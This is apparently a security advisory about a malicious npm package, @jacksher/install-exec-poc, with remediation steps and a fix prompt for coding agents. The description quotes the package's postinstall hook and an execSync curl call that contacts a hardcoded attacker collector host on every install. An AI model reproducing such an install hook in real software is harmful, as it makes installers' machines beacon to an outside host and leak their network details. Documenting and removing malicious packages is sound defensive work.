# MAL-2026-13972: Malicious code in @jacksher/install-exec-poc (npm)


- **Type:** Malicious package
- **Package:** `@jacksher/install-exec-poc` (npm)
- **Published:** 13 Aug 2026
- **Also known as:** GHSA-4fj2-wwv5-x646

## What is MAL-2026-13972?

MAL-2026-13972 is a malicious package in @jacksher/install-exec-poc, published on 13 Aug 2026. 

### Official description

package.json declares `postinstall: node beacon.js`. On every `npm install`, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to `https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired`, and `child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'})` against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of `execSync` to shell out to `curl` at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (`install-exec-poc`) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-13972?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-13972 is a malicious package: @jacksher/install-exec-poc (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-13972/ (Markdown: https://insights.sbomify.com/MAL-2026-13972/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-13972

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-13972/
Summaries are generated and may contain mistakes; the official description above is the record.